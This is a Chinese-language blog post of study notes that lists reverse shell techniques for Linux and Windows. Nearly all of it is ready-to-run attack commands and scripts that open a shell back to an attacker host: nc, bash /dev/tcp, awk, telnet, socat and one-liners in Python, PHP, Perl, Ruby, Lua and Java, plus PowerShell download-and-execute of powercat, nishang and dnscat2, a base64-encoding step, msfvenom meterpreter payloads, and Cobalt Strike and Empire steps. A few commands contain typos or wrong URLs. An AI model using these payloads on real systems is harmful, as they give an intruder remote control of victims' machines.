Windos/Linux 反弹 shell

参考文章

反弹shell的各种姿势
powershell反弹shell常见方式

前言

最近在学内网,就从最基础的知识开始学习、整理

正向连接

攻击者去连接受害者
弊端:当受害者处于局域网内无法使用正向连接;当受害者 IP 实时变化时无法持续连接。

反向连接

受害者主动连接攻击者

前提

为什么要反弹 shell?通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

接收端采用 nc 监听 2333 端口

nc -lvp 2333

并且其 IP 地址为:192.168.230.136

Linux

nc 反弹

第一种:nc 支持 -e 选项

nc -e /bin/bash 192.168.230.136 2333


注意:需要在靶机上已经安装了 nc 工具

第二种:不支持 -e

nc 192.168.230.136 2333| /bin/bash |192.168.230.136 6666

注:需在攻击机上监听两个端口,2333 为命令执行端,6666 为 命令结果接收端

bash 反弹

  • 第一种:
bash -i >& /dev/tcp/192.168.230.136/2333 0>&1


注:当直接使用终端执行该命令的话,关闭终端的同时,反弹的 shell 也会被关闭

  • 第二种:
exec 5<>/dev/tcp/192.168.230.136/2333;cat <&5 | while read line; do $line 2>&5 >&5;done


注:exec /bin/sh 0</dev/tcp/192.168.230.136/2333 1>&0 2>&0这种方式一执行,终端就闪退,导致失败

awk 反弹

第一种:

awk 'BEGIN{s="/inet/tcp/0/192.168.230.136/2333";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

注:速度好像有点慢,需要等一会才行

第二种:
脚本:test.txt

BEGIN {
        Service = "/inet/tcp/0/192.168.230.136/2333"
        while (1) {
                do {
                        printf Prompt |& Service
                        Service |& getline cmd
                        if (cmd) {
                                while ((cmd |& getline) > 0)
                                        print $0 |& Service
                                close(cmd)
                        }
                } while (cmd != "exit")
                close(Service)
        }
}

执行

/usr/bin/gawk -f test.txt

telnet 反弹

第一种:

telnet 192.168.230.136 2333 | /bin/bash | telnet 192.168.230.136 6666

注:需要在攻击主机上分别监听 2333 和 6666 端口,执行反弹 shell 命令后,在 2333 终端输入命令,6666 查看命令执行后的结果。在执行的时候可能会出现了如下错误,但反弹仍能成功

第二种:

mknod backpipe p && telnet 192.168.230.136 2333 0<backpipe | /bin/bash 1>backpipe

注:只需要监听一个 2333 端口即可

socat 反弹

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.230.136:2333

脚本语言反弹

  • Python 2/3 皆可
# 1. 
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.230.136',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

# 2.
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('192.168.230.136',2333))\nwhile 1:  proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")"
  • PHP
php -r '$sock=fsockopen("192.168.230.136",2333);exec("/bin/sh -i <&3 >&3 2>&3");'
  • Perl
perl -e 'use Socket;$i="192.168.230.136";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'   # 也可以反弹 /bin/bash
  • Ruby
# 1.
ruby -rsocket -e'f=TCPSocket.open("192.168.230.136","2333").to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

# 2.
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.230.136","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

注:很遗憾失败了

  • Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.230.136','2333');os.execute('/bin/sh -i <&3 >&3 2>&3');"
  • JAVA

脚本:Revs.java

public class Revs {
    /**
    * @param args
    * @throws Exception 
    */
public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.230.136/2333;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

将上述脚本保存为文件,编译、执行即可

javac Revs.java 
java Revs

Windows

powershell 反弹

第一种:
前提:下载 nc 版本的 powershell-----powercat
在 powershell 中执行:

Import-Module ./powercat.ps1
powercat -c 192.168.230.136 -p 2333 -e cmd

第二种:
直接在 powershell/cmd 中执行

powershell IEX (New-Object System.Net.Webclient).DownloadString ('https://github.com/besimorhino/powercat/blob/master/powercat.ps1'); powercat -c 192.168.230.136 -p 2333 -e cmd

注:某些时候需要将其进行 base64 编码,比如在 sqlserver 中和在 php 的 system 函数中

$text="IEX((New-Object System.Net.WebClient).DownloadString('https://github.com/besimorhino/powercat/blob/master/powercat.ps1'))";
$Bytes=[System.Text.Encoding]::Unicode.GetBytes($Text);
$EncodedText =[Convert]::ToBase64String($Bytes) $EncodedText > bs64.txt

然后执行:poweshell -exec bypass -encodedcommand bs64.txt;powercat -c 192.168.230.136 -p 2333 -e cmd

nc 反弹

下载地址:nc

nc 192.168.230.136 2333 -e c:\windows\system32\cmd.exe

注:上面的方式是将 nc 添加到环境变量了,未添加可用:netcat.exe 192.168.230.136 2333 -e c:\windows\system32\cmd.exe

msfvenom

前提:攻击机上使用 msf 监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST=192.168.230.136
set LPORT=2333
  • exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.230.136 LPORT=2333 -f exe -o test.exe

然后将生成的 exe 文件上传到目标机器上双击执行即可

  • dll
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.230.136 LPORT=2333 -f dll -o /tmp/reverse_tcp.dll

然后将生成的 dll 文件上传到目标机器上执行regsvr32.exe /s /u reverse_tcp.dll

脚本语言反弹

跟在 Linux 平台上相似,可以利用各种脚本语言反弹shell,只不过反弹的不是 /bin/bash ,而实 cmd,例如:

ruby -rsocket -e 'c=TCPSocket.new("192.168.230.136p","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

Cobalt strike 反弹

1、配置监听器:点击 Cobalt Strike——>Listeners——>在下方 Tab 菜单 Listeners ,点击 add。
2、生成 payload:点击 Attacks——>Packages——>Windows Executable,保存文件位置。
3、目标机执行 powershell payload

Empire 反弹

usestager windows/launcher_vbs
info
set Listener test
execute

nishang 框架

nishang是一个基于 PowerShell 的攻击框架,集合了一些 PowerShell 攻击脚本和有效载荷,可反弹 TCP/ UDP/ HTTP/HTTPS/ ICMP 等类型 shell

  • Reverse TCP shell
powershell IEX (New-Object Net.WebClient).DownloadString('https://github.com/samratashok/nishang/tree/master/Shells/Invoke-PowerShellTcp.ps1');
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.230.136 -port 2333
  • Reverse UDP shell
powershell IEX (New-Object Net.WebClient).DownloadString('https://github.com/samratashok/nishang/tree/master/Shells/Invoke-PowerShellUdp.ps1');
Invoke-PowerShellUdp -Reverse -IPAddress 192.168.230.136 -port 2333

Dnscat 反弹

下载地址:Dnscat2

dnscat2是一个 DNS 隧道,旨在通过 DNS 协议创建加密的命令和控制(C&C)通道。dnscat2 分为两部分:客户端和服务器。dnscat2 客户端采用 C 语言编写,服务器端采用 ruby 语言编写。后来又有安全研究人员使用 PowerShell 脚本重写了 dnscat2 客户端 dnscat2-powershell
利用 dnscat2 和 dnscat2-powershell 实现反弹 DNS shell:

具体操作:

攻击者(192.168.230.136)开启监听:
ruby dnscat2.rb --dns "domain=lltest.com,host=192.168.230.136" --no-cache -e open
-e open 不使用加密连接,默认使用加密
ruby dnscat2.rb —help 查看帮助
目标机执行:
powershell IEX (New-Object System.Net.Webclient).DownloadString('https://github.com/lukebaggett/dnscat2-powershell/blob/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer 192.168.230.136
成功反弹 shell 后,攻击者:
session -i 1 # 进入到session 1
shell # 执行之后会新生成一个 session 需要通过 session -i 2 切换
session -i 2

posted @ 2020-08-14 22:59  1ndex-  阅读(935)  评论(0编辑  收藏  举报